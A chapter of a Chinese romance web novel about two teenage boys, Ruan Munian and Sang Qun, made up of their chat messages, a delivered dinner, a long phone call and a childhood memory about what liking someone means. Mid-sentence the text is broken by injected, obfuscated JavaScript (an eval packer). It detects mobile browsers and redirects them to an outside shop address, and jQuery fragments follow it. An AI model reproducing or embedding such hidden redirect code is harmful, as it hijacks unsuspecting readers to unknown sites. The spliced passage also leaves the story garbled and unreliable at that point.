底座有五厘米厚，能塞得下很多东西。
但阮牧年放的东西很少，一枚暗沉的5角硬币，几卷捆起来的现金，一个小型红包和一张储蓄卡。
将底座拿出来后，阮牧年重新上锁，把柜子推回角落。
他能带走的东西不多，奖状之类的只能算累赘。这个展柜是桑母卖不掉送给他的，据说以前是用来装桑群的机器人。
回到床边坐下，阮牧年将东西放到书包夹层里，顺便掏出两张卷子，铺在椅子上边看边打算着。
过不了多久，物理竞赛的奖金也要打来了，他的资产大概有……嗯，可以开始做规划了，还有不到一个月……
卷子翻页，门外传来敲门声。
“谁？”阮牧年问。
“我，”表哥沉闷的声音响起，“拿东西。”
阮牧年起身给他开了门。
表哥一进门就看见地上铺的广告单和椅子上的卷子，目光有些复杂。
他难得多问了一句：“写作业？”
“嗯，”阮牧年说，“要拿什么？有些东西搬到地上去了。”
表哥没去翻找，只是沉默地搬走书桌上的纸箱和书架上的旧音响，腾出一大块地方。
走到门边，他才别扭地挤出一句话：“去桌上写吧。”
阮牧年跟在他后面合上了门。
表哥好像忘了，在他高考毕业之前，这个杂物间是没有书桌的。
地板、墙壁、床垫、垫板，甚至是放在手上，他都可以写作业，用椅子已经是可以媲美桌子的程度了。
那件事后，舅妈一家对他的态度缓和了不少。
但正如他所说的，许多事情很难一笔勾销的。
亡羊补牢的体谅，换不来他的原谅。
但没关系，他只需要抓住自己想抓住的人就好了。
表哥只是将书桌腾出空间，上面还有许多灰尘，阮牧年懒得再去收拾了，盘腿坐在地上继续写卷子。
基础卷非常简单，速度快的话一小时能写三张，后面的大题他一般是脑算出结果，先写答案，之后再补上过程。
真无聊啊，他抬眼看了下时间，快写完最简单的数理，然后奖励自己休息一会儿吧。
最后一个答案算出来，阮牧年丢下笔，伸了个懒腰。
休息时间！去看看桑群在干什么。
【Ruann：［小狗探头］】
【Ruann：桑桑在干嘛】
【阿君羊：学习】
【Ruann：？这么勤奋，不像你啊】
【阿君羊：［图片］】
阮牧年点开一看，里面是一个白色的盘子和……一块黑不溜秋的不可名状物。
【阿君羊：厨艺学习】
【Ruann：……】
【Ruann：阿姨还好吗？】
【Ruann：［揪手帕］】
【阿君羊：为什么关心她，她炒完菜就把东西全撤出去了，让我自食其力】
【Ruann：她甚至放心让你跟厨房独处？！】
【Ruann：［小兔惊讶起跳］】
【阿君羊：……】
【阿君羊：至于吗，那盘鸡肉只是焦了，皮挑开里面还能吃，有熟】
【Ruann：原来那个是鸡肉嘛……】
【Ruann：［小熊挠头］】
【阿君羊：……】
【阿君羊：真的能吃，我全都吃完了】
【Ruann：啊？需要叫救护车吗？】
【阿君羊：……阮牧年。】
【Ruann：好啦，我不说啦】
【Ruann：［捂嘴偷笑］】
【阿君羊：好吧，后来我妈进来指导了，所以真的能吃】
【Ruann：哦哦！原来如此】
【阿君羊：你呢，在干什么？】
【Ruann：写作业呀】
【阿君羊：晚饭吃了没】
【Ruann：没有［对手指］】
【阿君羊：［小狗跺脚］】
【阿君羊：又不吃［瞪眼］】
【Ruann：哇你怎么还偷我表情包】
【阿君羊：不要转移话题】
【Ruann：好嘛，他们不知道我今天回来，所以没吃，不是故意的】
【Ruann：我待会儿去找点东西吃，不要生气啦】
【阿君羊：［语音2"］】
嗯？发什么过来了？
阮牧年点开，手机凑到耳边。
一道低沉的声音经电磁修饰，响在这片安静的空间里。
“啧，不乖。”
熟悉的字眼黏连中，阮牧年似乎能看见桑群那双冷淡的眼睛微微下垂，轻蹙眉训斥他的样子。
啊。
不知为何，桑群吐出这类短句字眼的时候，会让他觉得好听又脸热，像被人拿心脏拨弦。
那种感觉……怎么说呢。
大概是桑群垂眼看人的时候，很有那种主人感。
……虽然在他这里一般是铲屎官。
他发呆的这段时间，阿君羊又发来好几条消息。
【阿君羊：［图片］】
【阿君羊：记得下楼拿】
图片里是一张配送截图。
【Ruann：这是什么？】
【阿君羊：晚饭】
【Ruann：啊？】
【阿君羊：特别快送晚餐，专治你这种小懒蛋】
【阿君羊：放心，是我妈做的版本】
阮牧年看着截图上的送达时间，没几分钟了。
他推开门，客厅里空荡荡的，表哥表弟各自的卧室门缝亮着光，舅妈训斥的声音偶尔从表弟房门里传出。
就这样溜下楼，一楼的木桌上堆放着零星的外卖。
没等多久，快递员的摩托车停在楼外。
对过信息，特地送来的爱心晚餐拎在手里，没扎紧的塑料袋口散发着热意。
阮牧年还是没忍住，坐在卧室床边给桑群打了个电话。
“吃上了？”一接通，桑群就问。
“嗯，”阮牧年含糊着说，“好吃，很香，你多夸夸阿姨，别老是呛她，不然下次厨房爆炸她不捞你了。”
桑群：“……她很有自知之明，不用我夸。”
简单说了两句，对面听着他边吃边说的声音，渐渐不出声了，阮牧年也专注享用起晚餐，一时间频道内只有咂嘴和吧唧的声响。
但电话没有挂断。
现在想来，他们似乎没有过这样的时候。有事开口说，无事了自然就挂断，一向如此。
可桑群没有，阮牧年更没有。
他们只是沉默地听着对方那边传来的声响，吃饭声、摩擦声，又或是窗外遥远的风声。
阮牧年不知道桑群正在做什么，总之不会是写作业，可能是发呆，也可能是在帮他妈妈赶手工活儿。
他没开口问，嚼累了咬着筷子尖休息的时候也没开口问。
煎炒的鸡肉外脆里嫩，米饭特地浇了酱汁，菜碗里还有几道小菜，味道真的很好，舌尖不断汲取着食物的滋味和触感，却到后来渐渐变得无味。
弥补他感知的另一部分事物，是电话那头静又未静的响动，是桑群时而清晰可闻的呼吸声。
吃饭满足了食欲，电话里的声音又填补了什么呢？
阮牧年拨弄起塑料袋时，桑群的声音终于轻轻响起：“吃完了？”
“嗯，差不多了，”阮牧年还是问了，“你刚才在做什么？”
“没做什么。”
阮牧年不信：“总不会是在睡觉吧。”
对面闷嗤一声，桑群的声音没那么低了，音量正常起来：“你觉得我在做什么？”
“是不是阿姨给你布置了任务，”阮牧年想了个最合理的，“你手上忙得过来吗，跟我说话会不会分心？”
“唔，也许吧。”
“啊，”阮牧年看了眼通话时长，都快一小时了，“那我要不……”
“等等，”桑群叫住他，“你呢？今天怎么没说谢谢，难得有不客气的时候。”
阮牧年顿了顿：“比起道谢，我其实……”
后面的话变得含糊，难以听清，桑群问：“什么？”
阮牧年凑近了椅面上的手机，吐出的气息扑在收音孔上。
“……我其实更想见你，”阮牧年趴在自己手臂上，他放低声音的时候，尾音总会不自觉落下去，沾染上些许鼻音，听上去有些可怜，“桑桑，你有过这种感觉吗？明明是很好吃的饭，嚼着嚼着也会没了滋味。”
明明是傍晚刚刚分别的人，却在话筒里听到的时候恍如隔世。
难道是这学期太亲近了，才忍受不了当下一分一秒的别离吗？
听完他的话，桑群沉默了一会儿。
“……有过，”桑群开口，“想知道为什么吗。”
“为什么？”
“因为挂念。”
“……”
不由得想起记忆里的某段对话，他在角落生闷气，被桑群揪到栏杆边摸头。
“我不明白，”阮牧年兀自沉闷了很久，才望着外面的夜景开口，“喜欢就是这样的吗？让人感到难堪。”
“当然不是，”桑群拍着他的背，“不舒服的话，就不当朋友了。”
“我想不通，我不讨厌她……所以我就应该答应她吗？”阮牧年抱着膝盖，“那么多人起哄……我好像被他们讨厌了。”
对于刚刚鼓起勇气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356343|199683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，尝试融入集体生活的阮牧年来说，这种事实在令人内耗。
“不要担心了，”桑群也坐下来，挨着他的肩膀，“喜欢你喜欢的人就好了。”
阮牧年回头看他：“可什么是喜欢呢？”
“唔，我也说不清楚，”桑群想了想，“像爸爸妈妈那样，就是喜欢吧。”
阮牧年痛苦道：“我的爸爸妈妈都不喜欢对方……”
桑群连忙找补，绞尽脑汁想例子：“我的意思是……就像我爸爸和我妈妈那样。喜欢啊爱啊什么的，他们其实都没怎么说过，但还是能让人感觉到他们喜欢着对方，反正就是……那种感觉……”
说到后面，他自己也解释不下去了，描述得乱七八糟。
阮牧年却若有所思地点点头：“喜欢不是能轻易挂在嘴边的东西，那它是什么呢？”
桑群牵住他的手，学着哥哥的样子包裹住他的手背：“我想，应该是挂念吧。”
“为什么？”
“因为我没有见过爸爸妈妈是怎么相爱的，但我见过他们想念对方的样子，爸爸出差会叮嘱我很多东西，妈妈累的时候喜欢给爸爸打电话，还有……那天妈妈一个人坐在里面，哭得眼泪都干了。”
说着说着，他开始总结：“所以喜欢就是你会思念某个人的感觉，很在意很在意，心脏被对方偷掉了一个角，必须要见面才能好起来。”
阮牧年努力理解：“想念……我好像并不会去想念她。”
“那就不需要担心了，就算她会想念你，不是两情愿意的事情，你可以不答应的。”
“是两情相悦。”
“都一样了。”
“感觉还是好复杂……”
“没关系，现在不懂也没事。也许等我们长大了，就能想明白了。”
从未想过，童言中的也许会有实现的一天，曾经无法感同身受的一切，变成了如今他一呼一吸间剧烈跳动的心脏声。
对于大多数人而言，想念只是想念；对于桑群而言，思念牵挂就是含蓄表白。
电话里又一阵静默，只有不断跳动的秒数，记录着他们联系的时间。
等那些稀疏平常的接触变成隔着距离的触不可及，平日里微小的心绪才逐渐浩大起来，附在心上，成了一处不断发痒的血肉。
“桑桑，”阮牧年垂下睫毛，痒意从心底涌向舌尖，唇瓣紧抿后张开，发出一声很小的啵，“我也很想你。”
桑群那边依旧没声音，阮牧年查了一下网络，没断联啊。
对面声音变得有些不一样，似乎是低沉了不少，桑群问：“你说什么？”
“我说我也很想你。”
“上一句。”
“没有上一句啊，”阮牧年想了想，“亲了你一下，太小声了吗？那……mua。”
电话那头传来一道沉闷的撞击声，似乎是什么重物砸在了地上。
“你怎么了？”阮牧年被他这动静吓了一跳，“手机掉了？地震了吗？”
好一阵杂音后，桑群的声音才重新出现：“没事，不小心碰掉了抽纸盒。”
“哦，”阮牧年拖长声音，软软地问他，“你在害羞吗？”
“没有，”这两个字桑群念得很清晰，他辩解道，“我又不是逃跑的人……现在不是我追你么。”
“欸，”阮牧年忽然觉得有点热，不自在地挠了挠脸颊，“你不要乱说……”
“怎么样？”桑群问。
“什么怎么样？”阮牧年没听懂。
“不是想见面吗，”桑群说，“兼职地址发你了，想什么时候来都行，帮忙冲业绩也行。”
阮牧年啊了一声：“你是想见我，还是想利用我挣钱？”
“都想，不行吗。”
“你怎么既要又要的。”
“来不来？”
“唔，我考虑一下。”
本想逗一下他，没想到桑群那边直接没声儿了，阮牧年正想着要不直接答应吧，那边又传来动静。
是很小的一道气音，若非周围安静，几乎能融进气流里。
“么。”
桑群嗓音放低，字音仿佛在纸上磨砂，伴着一声几不可闻的轻笑钻进他耳里。
“别考虑了，来么。”
阮牧年大脑空白了几秒，后知后觉桑群似乎是在……蛊惑他。
见他没反应，桑群又用那种调子叫他：“年年……嗯？”
连新手村都还没出的阮牧年瞬间被这从天而降的嗓音彻底压倒，他红着脸往自己的袖子上使劲蹭了蹭，才仰起头问：“你、你这是犯规，怎么能用这么……的声音说话……”
“喜欢么，”桑群继续逗他，“想学吗？”
“我……”
“来找我，”桑群说，“亲口教你。”